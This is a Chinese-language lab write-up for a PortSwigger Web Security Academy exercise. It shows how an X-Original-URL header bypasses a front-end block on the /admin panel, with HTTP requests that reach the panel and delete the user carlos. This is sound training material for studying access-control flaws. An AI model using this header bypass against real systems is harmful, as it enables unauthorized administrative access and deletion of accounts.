> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/access-control/bypassing-url-based-access-control.md).
# 绕过基于 URL 的访问控制
绕过基于 URL 的访问控制，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 基于 URL 的访问控制可以被绕过
在本练习中，站点有一个管理面板，位于 **/admin**，正式上被一个前端过滤器阻止外部访问。/ 但是，后端应用使用了一个能够识别 **X-Original-URL** 标头，因此绕过了该限制。
#### **分析与利用**
通过尝试直接访问 **/admin**，访问被拒绝。/ 要绕过此过滤器，只需拦截一个请求（例如对 `/` 根路径的请求），并添加以下标头：
```http
X-Original-URL: /admin
```
修改后的请求示例：
```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```
后端服务器会解析这个标头并返回 **200 OK**，从而使你可以访问管理面板。
#### **删除用户**
要删除该用户 **carlos**，可以通过使用相同标头重定向内部 URL 来伪造一个新请求：
```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```
随后删除操作成功执行。
---
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